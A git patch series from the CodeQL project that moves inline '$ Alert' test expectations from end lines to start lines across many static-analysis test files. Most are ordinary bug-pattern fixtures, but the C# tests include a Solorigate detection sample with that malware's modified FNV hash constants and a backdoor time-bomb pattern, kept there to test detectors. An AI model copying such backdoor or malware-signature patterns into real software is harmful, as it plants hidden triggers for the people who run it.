From 96f96d5d37f15c696d137f877eb90d6682349409 Mon Sep 17 00:00:00 2001 From: Anders Schack-Mulligen Date: Thu, 10 Sep 2026 10:10:23 +0200 Subject: [PATCH 1/2] Shared: Match inline expectations on start line instead of end. --- shared/util/codeql/util/test/InlineExpectationsTest.qll | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/shared/util/codeql/util/test/InlineExpectationsTest.qll b/shared/util/codeql/util/test/InlineExpectationsTest.qll index 4e0b2f678449..579fbbcacd7b 100644 --- a/shared/util/codeql/util/test/InlineExpectationsTest.qll +++ b/shared/util/codeql/util/test/InlineExpectationsTest.qll @@ -316,7 +316,7 @@ module Make { la = a.getLocation() and pragma[only_bind_into](lb) = b.getLocation() and pragma[only_bind_into](la).hasLocationInfo(fname, line, _, _, _) and - lb.hasLocationInfo(fname, _, _, line, _) + lb.hasLocationInfo(fname, line, _, _, _) ) } From f5a04adcd0112f0c8977ed219c7b705b076723c0 Mon Sep 17 00:00:00 2001 From: Anders Schack-Mulligen Date: Fri, 11 Sep 2026 10:32:43 +0200 Subject: [PATCH 2/2] qltests: Update inline expectations. --- .../CWE/CWE-476/semmle/tests/test.cpp | 24 ++++---- .../Security/CWE/CWE-561/semmle/tests/test.c | 16 +++--- .../ClassesWithManyFields/cwmf.cpp | 20 +++---- .../ClassesWithManyFields/different_types.h | 4 +- .../CommaBeforeMisleadingIndentation/test.cpp | 4 +- .../inconsistentLoopDirection.c | 24 ++++---- .../inconsistentLoopDirection.cpp | 56 +++++++++---------- .../jsf/4.13 Functions/AV Rule 114/test.cpp | 12 ++-- .../AV Rule 196/AV Rule 196.c | 16 +++--- .../Solorigate/test/Solorigate/test.cs | 12 ++-- .../Security Features/backdoor/test.cs | 4 +- .../ComplexInlineCode.expected | 4 +- .../ComplexInlineCodeBad.aspx | 4 +- .../ASP/ComplexInlineCode/test.aspx | 4 +- .../EmptyCatchBlock/EmptyCatchBlock.cs | 4 +- .../UnsafeLazyInitialization.cs | 24 ++++---- .../test/query-tests/EmptyBlock/EmptyBlock.cs | 6 +- .../query-tests/EmptyBlock/EmptyBlock.qlref | 1 - .../CatchOfGenericException.cs | 12 ++-- .../Language Abuse/ChainedIs/ChainedIs.cs | 4 +- .../Language Abuse/NestedIf/nestedif.cs | 4 +- .../ThreadUnsafeICryptoTransformLambda.cs | 8 +-- .../MissedCastOpportunity.cs | 16 +++--- .../MissedFirstOrDefaultOpportunity.cs | 20 +++---- .../MissedSelectOpportunity.cs | 4 +- .../MissedWhereOpportunity.cs | 20 +++---- .../CWE-011/ASPNetDebug.expected | 4 +- .../Security Features/CWE-011/bad1/Web.config | 4 +- .../Security Features/CWE-011/bad2/Web.config | 4 +- .../WebConfigOff/Web.config | 4 +- .../test/query-tests/UseBraces/UseBraces.cs | 20 +++---- .../FutileConditional/FutileConditional.cs | 8 +-- go/ql/test/experimental/CWE-285/main.go | 4 +- .../CWE-400/DatabaseCallInLoop.go | 4 +- go/ql/test/experimental/CWE-400/test.go | 8 +-- .../semmle/go/frameworks/Beego/test.go | 4 +- .../query-tests/Security/CWE-022/ZipSlip.go | 4 +- .../test/query-tests/Security/CWE-022/tst.go | 4 +- .../CWE-322/InsecureHostKeyCallbackExample.go | 12 ++-- .../query-tests/Security/CWE-327/UnsafeTLS.go | 40 ++++++------- .../security/CWE-078/RuntimeExecTest.java | 4 +- .../security/CWE-470/BadClassLoader.java | 4 +- .../query-tests/security/CWE-502/beans.xml | 16 +++--- .../security/CWE-548/insecure-web.xml | 4 +- .../PasswordInConfigurationFile.expected | 2 +- .../query-tests/security/CWE-555/context.xml | 4 +- .../ComplexCondition/ComplexCondition.java | 4 +- .../query-tests/DoubleCheckedLocking/A.java | 12 ++-- .../test/query-tests/MissingSpaceTypo/A.java | 28 +++++----- .../maven-dependencies/my-project/pom.xml | 12 ++-- .../XsltInjection/XsltInjectionTest.java | 8 +-- .../security/CWE-079/semmle/tests/JsfXSS.java | 4 +- .../CWE-1104/semmle/tests/bad-bintray-pom.xml | 20 +++---- .../CWE-1204/StaticInitializationVector.java | 8 +-- .../Version1.0.x-1.4.x/bad/default/pom.xml | 4 +- .../Version1.0.x-1.4.x/bad/false/pom.xml | 4 +- .../Version1.5.x/bad/pom.xml | 4 +- .../Version2.x/bad/expose/pom.xml | 4 +- .../bad/exposure-include/all-exposed/pom.xml | 4 +- .../bad/exposure-include/some-exposed/pom.xml | 4 +- .../Version3.x/bad/all-exposed/pom.xml | 4 +- .../Version3.x/bad/some-exposed/pom.xml | 4 +- .../CWE-297/UnsafeHostnameVerification.java | 12 ++-- .../backup/AllowBackupEnabledTest.expected | 4 +- .../TestExplicitlyEnabled/AndroidManifest.xml | 4 +- .../backup/TestMissing/AndroidManifest.xml | 4 +- .../security/CWE-681/semmle/tests/Test.java | 4 +- .../CWE-829/semmle/tests/insecure-pom.xml | 20 +++---- .../SystemPromptInjection/agents_test.js | 4 +- .../bad-private-ip-pkg.js | 4 +- .../bad-rfc1918-regex.js | 4 +- .../HTTP-heuristics/src/route-objects.js | 24 ++++---- .../frameworks/HTTP-heuristics/src/tst.js | 36 ++++++------ .../library-tests/frameworks/ReactJS/es5.js | 8 +-- .../library-tests/frameworks/ReactJS/es6.js | 8 +-- .../frameworks/ReactJS/exportedComponent.jsx | 4 +- .../frameworks/ReactJS/importedComponent.jsx | 4 +- .../frameworks/ReactJS/plainfn.js | 16 +++--- .../frameworks/ReactJS/preact.js | 8 +-- .../ReactJS/probably-a-component.js | 4 +- .../library-tests/frameworks/ReactJS/props.js | 12 ++-- .../ReactJS/rare-lifecycle-methods.js | 4 +- .../frameworks/ReactJS/statePropertyReads.js | 4 +- .../frameworks/ReactJS/statePropertyWrites.js | 8 +-- .../frameworks/ReactJS/thisAccesses.js | 24 ++++---- .../ReactJS/thisAccesses_importedMappers.js | 4 +- .../frameworks/WebSocket/browser-custom.js | 36 ++++++------ .../frameworks/WebSocket/browser.js | 16 +++--- .../frameworks/WebSocket/client-custom.js | 8 +-- .../frameworks/WebSocket/client.js | 4 +- .../frameworks/WebSocket/server-custom.js | 8 +-- .../frameworks/WebSocket/server.js | 4 +- .../frameworks/WebSocket/sockjs.js | 4 +- .../AngularJS/InsecureUrlWhitelist/tst.js | 4 +- .../Declarations/UniquePropertyNames/tst2.js | 8 +-- .../EnablingNodeIntegration.js | 12 ++-- .../ExpressionClosures/foreach.js | 4 +- .../ExpressionClosures/letStmt.js | 4 +- .../React/InconsistentStateUpdate/tst.js | 48 ++++++++-------- .../tst.js | 8 +-- .../IncompleteUrlSchemeCheck.js | 4 +- .../tst-UntrustedDataToExternalAPI.js | 6 +- ...ommand-line-parameter-command-injection.js | 8 +-- .../Security/CWE-089/untyped/graphql.js | 8 +-- .../Security/CWE-1004/tst-httpOnly.js | 24 ++++---- .../Security/CWE-116/DoubleEscaping/tst.js | 12 ++-- .../UnsafeHtmlExpansion.js | 12 ++-- .../tst-multi-character-sanitization.js | 8 +-- .../CWE-116/IncompleteSanitization/tst.js | 4 +- .../Security/CWE-1275/tst-sameSite.js | 24 ++++---- .../Security/CWE-200/FileAccessToHttp.js | 20 +++---- .../query-tests/Security/CWE-200/request.js | 4 +- .../Security/CWE-200/sentAsHeaders.js | 8 +-- .../Security/CWE-312/build-leaks.js | 4 +- .../CWE-352/MissingCsrfMiddlewareBad.js | 16 +++--- .../Security/CWE-352/csurf_api_example.js | 4 +- .../Security/CWE-352/csurf_example.js | 4 +- .../query-tests/Security/CWE-352/fastify.js | 4 +- .../query-tests/Security/CWE-352/fastify2.js | 4 +- .../Security/CWE-352/lusca_example.js | 8 +-- .../test/query-tests/Security/CWE-352/tst.js | 4 +- .../Security/CWE-352/unused_cookies.js | 12 ++-- .../test/query-tests/Security/CWE-367/tst.js | 4 +- .../test/query-tests/Security/CWE-384/tst.js | 4 +- .../query-tests/Security/CWE-400/ReDoS/tst.js | 12 ++-- .../query-tests/Security/CWE-451/node-bad.js | 4 +- .../CWE-522-DecompressionBombs/node-tar.js | 8 +-- .../Security/CWE-614/tst-cleartextCookie.js | 20 +++---- .../Security/CWE-693/InsecureHelmetBad.js | 4 +- .../Threat-models-disabled/server-crash.js | 48 ++++++++-------- .../MissingRateLimit/MissingRateLimiting.js | 4 +- .../Security/CWE-798/HardcodedCredentials.js | 4 +- .../src-vulnerable-lodash/tst.js | 8 +-- .../Security/CWE-918/serverSide.js | 4 +- .../InconsistentLoopOrientation/tst.js | 12 ++-- .../CWE-1427-PromptInjection/openai_test.py | 4 +- .../Regex/DuplicateCharacterInSet.expected | 2 +- .../query-tests/Expressions/Regex/test.py | 5 +- .../query-tests/Expressions/strings/test.py | 16 +++--- .../fastapi.py | 4 +- .../performance/VarUnusedInDisjunct/Test.qll | 28 +++++----- .../MissingQualityMetadata.qlref | 1 - .../BadQualityMaintainabilityWrongToplevel.ql | 2 +- .../testcases/BadQualityMultipleTopLevel.ql | 2 +- .../testcases/BadQualityNoToplevel.ql | 2 +- .../BadQualityReliabilityWrongToplevel.ql | 2 +- .../MissingSecurityMetadata.qlref | 1 - .../testcases/BadNoSecurity.ql | 2 +- .../testcases/BadNoSeverity.ql | 2 +- .../style/Misspelling/Misspelling.qlref | 1 - ql/ql/test/queries/style/Misspelling/Test.qll | 12 ++-- ql/ql/test/queries/style/NonDocBlock/Foo.qll | 4 +- .../style/NonDocBlock/NonDocBlock.qlref | 1 - .../test/queries/style/UseSetLiteral/test.qll | 32 +++++------ .../dataflow/api-graphs/callbacks.rb | 29 +++++----- .../dataflow/api-graphs/test1.rb | 4 +- .../CWE-522-DecompressionBombs/gzipBombs.rb | 8 +-- .../CWE-522-DecompressionBombs/zipBombs.rb | 8 +-- .../improper_memoization.rb | 32 +++++------ ...incomplete_multi_character_sanitization.rb | 10 ++-- .../PolynomialReDoS.rb | 8 +-- .../alternative_root_controller.rb | 4 +- .../dataflow/sources/database/test.rs | 32 +++++------ .../dataflow/sources/file/test.rs | 8 +-- .../dataflow/sources/web_frameworks/test.rs | 16 +++--- .../query-tests/security/CWE-079/warp/main.rs | 4 +- .../security/CWE-798/test_cookie.rs | 8 +-- .../security/CWE-798/test_heuristic.rs | 2 +- .../security/CWE-918/request_forgery_tests.rs | 4 +- 169 files changed, 821 insertions(+), 826 deletions(-) diff --git a/cpp/ql/test/experimental/query-tests/Security/CWE/CWE-476/semmle/tests/test.cpp b/cpp/ql/test/experimental/query-tests/Security/CWE/CWE-476/semmle/tests/test.cpp index 9d7478548fd2..31f9d322bfe2 100644 --- a/cpp/ql/test/experimental/query-tests/Security/CWE/CWE-476/semmle/tests/test.cpp +++ b/cpp/ql/test/experimental/query-tests/Security/CWE/CWE-476/semmle/tests/test.cpp @@ -60,7 +60,7 @@ void funcWork1b() { } catch (...) - { + { // $ Alert for (size_t i = 0; i < 10; i++) { delete[] bufMyData[i]->buffer; // BAD @@ -68,7 +68,7 @@ void funcWork1b() { } delete [] bufMyData; - } // $ Alert + } } void funcWork1() { @@ -88,7 +88,7 @@ void funcWork1() { } catch (...) - { + { // $ Alert for (size_t i = 0; i < 10; i++) { if (bufMyData[i]) @@ -97,7 +97,7 @@ void funcWork1() { } delete [] bufMyData; - } // $ Alert + } } void funcWork2() { @@ -117,7 +117,7 @@ void funcWork2() { } catch (...) - { + { // $ Alert for (size_t i = 0; i < 10; i++) { delete[] bufMyData[i]->buffer; // BAD @@ -125,7 +125,7 @@ void funcWork2() { } delete [] bufMyData; - } // $ Alert + } } void funcWork3() { int a; @@ -140,7 +140,7 @@ void funcWork3() { } catch (...) - { + { // $ Alert for (size_t i = 0; i < 10; i++) { delete[] bufMyData[i]->buffer; // BAD @@ -148,7 +148,7 @@ void funcWork3() { } delete [] bufMyData; - } // $ Alert + } } @@ -178,9 +178,9 @@ void funcWork4b() { throwFunction(a); } catch (...) - { + { // $ Alert delete valData; // BAD - } // $ Alert + } } void funcWork5() { int a; @@ -216,9 +216,9 @@ void funcWork5b() { throw; } catch (...) - { + { // $ Alert delete valData; // BAD - } // $ Alert + } } void funcWork6() { int a; diff --git a/cpp/ql/test/experimental/query-tests/Security/CWE/CWE-561/semmle/tests/test.c b/cpp/ql/test/experimental/query-tests/Security/CWE/CWE-561/semmle/tests/test.c index ecb421991a4c..578af0a12f12 100644 --- a/cpp/ql/test/experimental/query-tests/Security/CWE/CWE-561/semmle/tests/test.c +++ b/cpp/ql/test/experimental/query-tests/Security/CWE/CWE-561/semmle/tests/test.c @@ -17,7 +17,7 @@ void testFunction(char c1,int i1) case 9: } } - switch(c1){ // BAD + switch(c1){ // $ Alert // BAD case 12: break; case 10: @@ -25,9 +25,9 @@ void testFunction(char c1,int i1) case 9: break; dafault: - } // $ Alert + } - switch(c1){ // BAD + switch(c1){ // $ Alert // BAD c1=c1*2; case 12: break; @@ -35,10 +35,10 @@ void testFunction(char c1,int i1) break; case 9: break; - } // $ Alert + } if((c1<6)&&(c1>0)) - switch(c1){ // BAD + switch(c1){ // $ Alert // BAD case 8: break; case 5: @@ -47,14 +47,14 @@ void testFunction(char c1,int i1) break; case 1: break; - } // $ Alert + } if((c1<6)&&(c1>0)) - switch(c1){ // BAD + switch(c1){ // $ Alert // BAD case 3: break; case 1: break; - } // $ Alert + } } diff --git a/cpp/ql/test/query-tests/Architecture/Refactoring Opportunities/ClassesWithManyFields/cwmf.cpp b/cpp/ql/test/query-tests/Architecture/Refactoring Opportunities/ClassesWithManyFields/cwmf.cpp index 183cae6b6906..3ee3df9995c3 100644 --- a/cpp/ql/test/query-tests/Architecture/Refactoring Opportunities/ClassesWithManyFields/cwmf.cpp +++ b/cpp/ql/test/query-tests/Architecture/Refactoring Opportunities/ClassesWithManyFields/cwmf.cpp @@ -5,13 +5,13 @@ #define int_g(n) int g##n; struct aa { - TEN(int_f) - TEN(int_g) // $ Alert + TEN(int_f) // $ Alert + TEN(int_g) }; class bb { - TEN(int_f) - TEN(int_g) // $ Alert + TEN(int_f) // $ Alert + TEN(int_g) }; union cc_not_flagged_up_because_unions_are_not_classes_in_this_sense { @@ -21,14 +21,14 @@ union cc_not_flagged_up_because_unions_are_not_classes_in_this_sense { template struct dd { - TEN(int_f) - TEN(int_g) // $ Alert + TEN(int_f) // $ Alert + TEN(int_g) }; template struct ee { - TEN(int_f) - TEN(int_g) // $ Alert + TEN(int_f) // $ Alert + TEN(int_g) }; void instantiate() { @@ -38,7 +38,7 @@ void instantiate() { // from the qhelp (30 fields) struct MyParticle { - bool isActive; + bool isActive; // $ Alert int priority; float x, y, z; @@ -54,7 +54,7 @@ struct MyParticle { unsigned char r2, g2, b2, a2; class texture *tex; - float u1, v1, u2, v2; // $ Alert + float u1, v1, u2, v2; }; struct MyAlphaClass1 { // $ Alert diff --git a/cpp/ql/test/query-tests/Architecture/Refactoring Opportunities/ClassesWithManyFields/different_types.h b/cpp/ql/test/query-tests/Architecture/Refactoring Opportunities/ClassesWithManyFields/different_types.h index 11aea5dc11c0..04d13fab50ac 100644 --- a/cpp/ql/test/query-tests/Architecture/Refactoring Opportunities/ClassesWithManyFields/different_types.h +++ b/cpp/ql/test/query-tests/Architecture/Refactoring Opportunities/ClassesWithManyFields/different_types.h @@ -12,7 +12,7 @@ class DifferentTypes { }; class DifferentTypes2 { - SOME_TYPE i1; + SOME_TYPE i1; // $ Alert SOME_TYPE i2; SOME_TYPE i3; SOME_TYPE i4; @@ -30,6 +30,6 @@ class DifferentTypes2 { int j6; int j7; int j8; - int j9; // $ Alert + int j9; }; diff --git a/cpp/ql/test/query-tests/Best Practices/Likely Errors/CommaBeforeMisleadingIndentation/test.cpp b/cpp/ql/test/query-tests/Best Practices/Likely Errors/CommaBeforeMisleadingIndentation/test.cpp index 1780a5d92e74..1d2d9b4da9c2 100644 --- a/cpp/ql/test/query-tests/Best Practices/Likely Errors/CommaBeforeMisleadingIndentation/test.cpp +++ b/cpp/ql/test/query-tests/Best Practices/Likely Errors/CommaBeforeMisleadingIndentation/test.cpp @@ -173,9 +173,9 @@ int Foo::test(int (*baz)(int)) if (foo(j)) return i++ - , i++ // GOOD(?) [FALSE POSITIVE] -- can't exclude w/o source code text :/ + , i++ // $ SPURIOUS: Alert // GOOD(?) [FALSE POSITIVE] -- can't exclude w/o source code text :/ ? 1 - : 2; // $ SPURIOUS: Alert + : 2; int quux = (tata->titi.tutu(), diff --git a/cpp/ql/test/query-tests/Likely Bugs/Likely Typos/inconsistentLoopDirection/inconsistentLoopDirection.c b/cpp/ql/test/query-tests/Likely Bugs/Likely Typos/inconsistentLoopDirection/inconsistentLoopDirection.c index 74039347afdd..250a11bb8989 100644 --- a/cpp/ql/test/query-tests/Likely Bugs/Likely Typos/inconsistentLoopDirection/inconsistentLoopDirection.c +++ b/cpp/ql/test/query-tests/Likely Bugs/Likely Typos/inconsistentLoopDirection/inconsistentLoopDirection.c @@ -2,17 +2,17 @@ void Signed() { signed char i; - for (i = 0; i < 100; i--) //BUG + for (i = 0; i < 100; i--) // $ Alert // BUG { - } // $ Alert + } for (i = 0; i < 100; i++) { } - for (i = 100; i >= 0; i++) //BUG + for (i = 100; i >= 0; i++) // $ Alert // BUG { - } // $ Alert + } for (i = 100; i >= 0; i--) { @@ -24,17 +24,17 @@ void Unsigned() { unsigned long i; - for (i = 0; i < 100; i--) //BUG + for (i = 0; i < 100; i--) // $ Alert // BUG { - } // $ Alert + } for (i = 0; i < 100; i++) { } - for (i = 100; i >= 0; i++) //BUG + for (i = 100; i >= 0; i++) // $ Alert // BUG { - } // $ Alert + } for (i = 100; i >= 0; i--) { @@ -45,9 +45,9 @@ void InitializationOutsideLoop() { signed char i = 0; - for (; i < 100; i--) //BUG + for (; i < 100; i--) // $ Alert // BUG { - } // $ Alert + } i = 0; for (; i < 100; i++) @@ -55,9 +55,9 @@ void InitializationOutsideLoop() } i = 100; - for (; i >= 0; i++) //BUG + for (; i >= 0; i++) // $ Alert // BUG { - } // $ Alert + } i = 100; for (; i >= 0; i--) diff --git a/cpp/ql/test/query-tests/Likely Bugs/Likely Typos/inconsistentLoopDirection/inconsistentLoopDirection.cpp b/cpp/ql/test/query-tests/Likely Bugs/Likely Typos/inconsistentLoopDirection/inconsistentLoopDirection.cpp index e0b2358aeaa8..fb8026c44ea6 100644 --- a/cpp/ql/test/query-tests/Likely Bugs/Likely Typos/inconsistentLoopDirection/inconsistentLoopDirection.cpp +++ b/cpp/ql/test/query-tests/Likely Bugs/Likely Typos/inconsistentLoopDirection/inconsistentLoopDirection.cpp @@ -2,17 +2,17 @@ void Signed() { signed char i; - for (i = 0; i < 100; i--) //BUG + for (i = 0; i < 100; i--) // $ Alert // BUG { - } // $ Alert + } for (i = 0; i < 100; i++) { } - for (i = 100; i >= 0; i++) //BUG + for (i = 100; i >= 0; i++) // $ Alert // BUG { - } // $ Alert + } for (i = 100; i >= 0; i--) { @@ -24,17 +24,17 @@ void Unsigned() { unsigned long i; - for (i = 0; i < 100; i--) //BUG + for (i = 0; i < 100; i--) // $ Alert // BUG { - } // $ Alert + } for (i = 0; i < 100; i++) { } - for (i = 100; i >= 0; i++) //BUG + for (i = 100; i >= 0; i++) // $ Alert // BUG { - } // $ Alert + } for (i = 100; i >= 0; i--) { @@ -43,17 +43,17 @@ void Unsigned() void DeclarationInLoop() { - for (signed char i = 0; i < 100; --i) //BUG + for (signed char i = 0; i < 100; --i) // $ Alert // BUG { - } // $ Alert + } for (signed char i = 0; i < 100; ++i) { } - for (unsigned char i = 100; i >= 0; ++i) //BUG + for (unsigned char i = 100; i >= 0; ++i) // $ Alert // BUG { - } // $ Alert + } for (unsigned char i = 100; i >= 0; --i) { @@ -66,17 +66,17 @@ void SignedWithVariables() signed char min = 0; signed char max = 100; - for (i = min; i < max; i--) //BUG + for (i = min; i < max; i--) // $ Alert // BUG { - } // $ Alert + } for (i = min; i < max; i++) { } - for (i = max; i >= min; i++) //BUG + for (i = max; i >= min; i++) // $ Alert // BUG { - } // $ Alert + } for (i = max; i >= min; i--) { @@ -88,9 +88,9 @@ void InitializationOutsideLoop() { signed char i = 0; - for (; i < 100; --i) //BUG + for (; i < 100; --i) // $ Alert // BUG { - } // $ Alert + } i = 0; for (; i < 100; ++i) @@ -98,9 +98,9 @@ void InitializationOutsideLoop() } i = 100; - for (; i >= 0; ++i) //BUG + for (; i >= 0; ++i) // $ Alert // BUG { - } // $ Alert + } i = 100; for (; i >= 0; --i) @@ -115,13 +115,13 @@ void InvalidCondition() signed char min = 0; signed char max = 100; - for (i = max; i < min; i--) //BUG + for (i = max; i < min; i--) // $ Alert // BUG { - } // $ Alert + } - for (i = min; i > max; i++) //BUG + for (i = min; i > max; i++) // $ Alert // BUG { - } // $ Alert + } } void InvalidConditionUnsignedCornerCase() @@ -130,16 +130,16 @@ void InvalidConditionUnsignedCornerCase() unsigned char min = 0; unsigned char max = 100; - for (i = 100; i < 0; i--) //BUG + for (i = 100; i < 0; i--) // $ Alert // BUG { - } // $ Alert + } // Limitation. // Currently odasa will not detect this for-loop condition as always true // The rule will still detect the mismatch iterator, but the error message may change in the future. - for (i = 200; i >= 0; i++) //BUG + for (i = 200; i >= 0; i++) // $ Alert // BUG { - } // $ Alert + } } void NegativeTestCase() diff --git a/cpp/ql/test/query-tests/jsf/4.13 Functions/AV Rule 114/test.cpp b/cpp/ql/test/query-tests/jsf/4.13 Functions/AV Rule 114/test.cpp index bac7bf85df68..3d66ff48bf6c 100644 --- a/cpp/ql/test/query-tests/jsf/4.13 Functions/AV Rule 114/test.cpp +++ b/cpp/ql/test/query-tests/jsf/4.13 Functions/AV Rule 114/test.cpp @@ -13,9 +13,9 @@ MyValue g1() } MyValue g2() -{ +{ // $ Alert // BAD -} // $ Alert +} MyValue g3() { @@ -71,9 +71,9 @@ TypePair::first g9() } TypePair::second g10() -{ +{ // $ Alert // BAD (the return type amounts to int) -} // $ Alert +} template typename TypePair::first g11() @@ -83,9 +83,9 @@ typename TypePair::first g11() template typename TypePair::second g12() -{ +{ // $ Alert // BAD (the return type amounts to T / int) -} // $ Alert +} void instantiate() { diff --git a/cpp/ql/test/query-tests/jsf/4.24 Control Flow Structures/AV Rule 196/AV Rule 196.c b/cpp/ql/test/query-tests/jsf/4.24 Control Flow Structures/AV Rule 196/AV Rule 196.c index d401c9aa170a..e80259af937e 100644 --- a/cpp/ql/test/query-tests/jsf/4.24 Control Flow Structures/AV Rule 196/AV Rule 196.c +++ b/cpp/ql/test/query-tests/jsf/4.24 Control Flow Structures/AV Rule 196/AV Rule 196.c @@ -1,19 +1,19 @@ static void f(int x) { - switch(x) { - } // $ Alert + switch(x) { // $ Alert + } - switch(x) { + switch(x) { // $ Alert default:; - } // $ Alert + } - switch(x) { + switch(x) { // $ Alert case 0:; - } // $ Alert + } - switch(x) { + switch(x) { // $ Alert default: case 0:; - } // $ Alert + } switch(x) { case 0:; diff --git a/csharp/ql/campaigns/Solorigate/test/Solorigate/test.cs b/csharp/ql/campaigns/Solorigate/test/Solorigate/test.cs index 1e6c66fd0dbd..858ba71a2c82 100644 --- a/csharp/ql/campaigns/Solorigate/test/Solorigate/test.cs +++ b/csharp/ql/campaigns/Solorigate/test/Solorigate/test.cs @@ -31,10 +31,10 @@ ulong GetRegularFvnHash(string s) num *= 1099511628211UL; // $ Alert[cs/solorigate/number-of-known-hashes-above-threshold] } } - catch // BUG : SwallowEverythingExceptionHandler + catch // $ Alert[cs/solorigate/swallow-everything-exception] // BUG : SwallowEverythingExceptionHandler { - } // $ Alert[cs/solorigate/swallow-everything-exception] + } return num ^ 6605813339339102567UL; // $ Alert[cs/solorigate/modified-fnv-function-detection] Alert[cs/solorigate/number-of-known-hashes-above-threshold] // BUG (ModifiedFnvFunctionDetection.ql) } @@ -285,16 +285,16 @@ void SwallowExceptionTest() try{ Literals(); } - catch // BUG : SwallowEverythingExceptionHandler - {} // $ Alert[cs/solorigate/swallow-everything-exception] + catch // $ Alert[cs/solorigate/swallow-everything-exception] // BUG : SwallowEverythingExceptionHandler + {} try{ Literals(); } - catch( Exception e) // BUG : SwallowEverythingExceptionHandler + catch( Exception e) // $ Alert[cs/solorigate/swallow-everything-exception] // BUG : SwallowEverythingExceptionHandler { // - } // $ Alert[cs/solorigate/swallow-everything-exception] + } try{ Literals(); diff --git a/csharp/ql/test/experimental/Security Features/backdoor/test.cs b/csharp/ql/test/experimental/Security Features/backdoor/test.cs index c582f5e49269..354e1cfec5f2 100644 --- a/csharp/ql/test/experimental/Security Features/backdoor/test.cs +++ b/csharp/ql/test/experimental/Security Features/backdoor/test.cs @@ -68,10 +68,10 @@ void TestTimeBomb() { DateTime lastWriteTime = System.IO.File.GetLastWriteTime("someFile"); // $ Source[cs/backdoor/potential-time-bomb] int num = new Random().Next(288, 336); - if (DateTime.Now.CompareTo(lastWriteTime.AddHours((double)num)) >= 0) // $ Sink[cs/backdoor/potential-time-bomb] // BUG : Potential time bomb, currently not detected + if (DateTime.Now.CompareTo(lastWriteTime.AddHours((double)num)) >= 0) // $ Sink[cs/backdoor/potential-time-bomb] Alert[cs/backdoor/potential-time-bomb] // BUG : Potential time bomb, currently not detected { // Some code here - } // $ Alert[cs/backdoor/potential-time-bomb] + } } } diff --git a/csharp/ql/test/query-tests/ASP/ComplexInlineCode/ComplexInlineCode.expected b/csharp/ql/test/query-tests/ASP/ComplexInlineCode/ComplexInlineCode.expected index 8db4fdeef2bd..9fddfd10f335 100644 --- a/csharp/ql/test/query-tests/ASP/ComplexInlineCode/ComplexInlineCode.expected +++ b/csharp/ql/test/query-tests/ASP/ComplexInlineCode/ComplexInlineCode.expected @@ -1,2 +1,2 @@ -| ComplexInlineCodeBad.aspx:5:1:18:2 | <% ... %> | Inline code contains multi-line logic. | -| test.aspx:5:12:12:2 | <% ... %> | Inline code contains multi-line logic. | +| ComplexInlineCodeBad.aspx:5:46:18:2 | <% ... %> | Inline code contains multi-line logic. | +| test.aspx:5:57:12:2 | <% ... %> | Inline code contains multi-line logic. | diff --git a/csharp/ql/test/query-tests/ASP/ComplexInlineCode/ComplexInlineCodeBad.aspx b/csharp/ql/test/query-tests/ASP/ComplexInlineCode/ComplexInlineCodeBad.aspx index b8e0a25ac2c8..bb525c121d3b 100644 --- a/csharp/ql/test/query-tests/ASP/ComplexInlineCode/ComplexInlineCodeBad.aspx +++ b/csharp/ql/test/query-tests/ASP/ComplexInlineCode/ComplexInlineCodeBad.aspx @@ -2,7 +2,7 @@ -<% +<%-- $ Alert[cs/asp/complex-inline-code] --%><% if (builder == null) builder = ec.GetTemporaryLocal (type); @@ -15,6 +15,6 @@ } else { ec.Emit (Response, OpCodes.Ldloca, builder); } -%> <%-- $ Alert[cs/asp/complex-inline-code] --%> +%> diff --git a/csharp/ql/test/query-tests/ASP/ComplexInlineCode/test.aspx b/csharp/ql/test/query-tests/ASP/ComplexInlineCode/test.aspx index 39055702e35c..35f57154fb55 100644 --- a/csharp/ql/test/query-tests/ASP/ComplexInlineCode/test.aspx +++ b/csharp/ql/test/query-tests/ASP/ComplexInlineCode/test.aspx @@ -2,14 +2,14 @@ -

2 + 3 = <% +

2 + 3 = <%-- $ Alert[cs/asp/complex-inline-code] --%><% If Something() Then Response.write(2 + 3); } else { Response.write(3 + 2); } End If -%>

<%-- $ Alert[cs/asp/complex-inline-code] --%> +%>

2 + 3 = <%=2 + 3%>

diff --git a/csharp/ql/test/query-tests/Bad Practices/EmptyCatchBlock/EmptyCatchBlock.cs b/csharp/ql/test/query-tests/Bad Practices/EmptyCatchBlock/EmptyCatchBlock.cs index 812c271e1762..f7156df4647c 100644 --- a/csharp/ql/test/query-tests/Bad Practices/EmptyCatchBlock/EmptyCatchBlock.cs +++ b/csharp/ql/test/query-tests/Bad Practices/EmptyCatchBlock/EmptyCatchBlock.cs @@ -7,9 +7,9 @@ void bad() try { } - catch (Exception) + catch (Exception) // $ Alert { - } // $ Alert + } } void good() diff --git a/csharp/ql/test/query-tests/Concurrency/UnsafeLazyInitialization/UnsafeLazyInitialization.cs b/csharp/ql/test/query-tests/Concurrency/UnsafeLazyInitialization/UnsafeLazyInitialization.cs index 6a292c83ae5b..bdb26d6424aa 100644 --- a/csharp/ql/test/query-tests/Concurrency/UnsafeLazyInitialization/UnsafeLazyInitialization.cs +++ b/csharp/ql/test/query-tests/Concurrency/UnsafeLazyInitialization/UnsafeLazyInitialization.cs @@ -14,7 +14,7 @@ class Program void Fn() { // BAD - if (obj1 == null) + if (obj1 == null) // $ Alert { lock (mutex) { @@ -23,13 +23,13 @@ void Fn() obj1 = null; } } - } // $ Alert + } // BAD - if (obj1 == null) + if (obj1 == null) // $ Alert lock (mutex) if (obj1 == null) - obj1 = null; // $ Alert + obj1 = null; // GOOD: A value-type if (cond1) @@ -76,7 +76,7 @@ void Fn() } // BAD - if (null == obj1) + if (null == obj1) // $ Alert { lock (mutex) { @@ -84,7 +84,7 @@ void Fn() if (null == obj1) obj1 = null; } - } // $ Alert + } // GOOD: not a field object a = null; @@ -94,7 +94,7 @@ void Fn() a = new object(); // BAD: only obj1 is flagged. - if (obj1 == null && obj2 == null) + if (obj1 == null && obj2 == null) // $ Alert { lock (mutex) { @@ -103,10 +103,10 @@ void Fn() obj1 = null; } } - } // $ Alert + } // BAD: both obj1 and obj3 are flagged. - if (obj1 == null && obj3 == null) + if (obj1 == null && obj3 == null) // $ Alert { lock (mutex) { @@ -116,7 +116,7 @@ void Fn() obj3 = null; } } - } // $ Alert + } // GOOD: Locking a struct if (struct1 == struct2) @@ -131,10 +131,10 @@ void Fn() } // BAD: Field x should be volatile - if (struct1.x is null) + if (struct1.x is null) // $ Alert lock (mutex) if(struct1.x is null) - struct1.x = 3; // $ Alert + struct1.x = 3; // GOOD: Tuples are structs so cannot be volatile. if(pair1 == (1,2)) diff --git 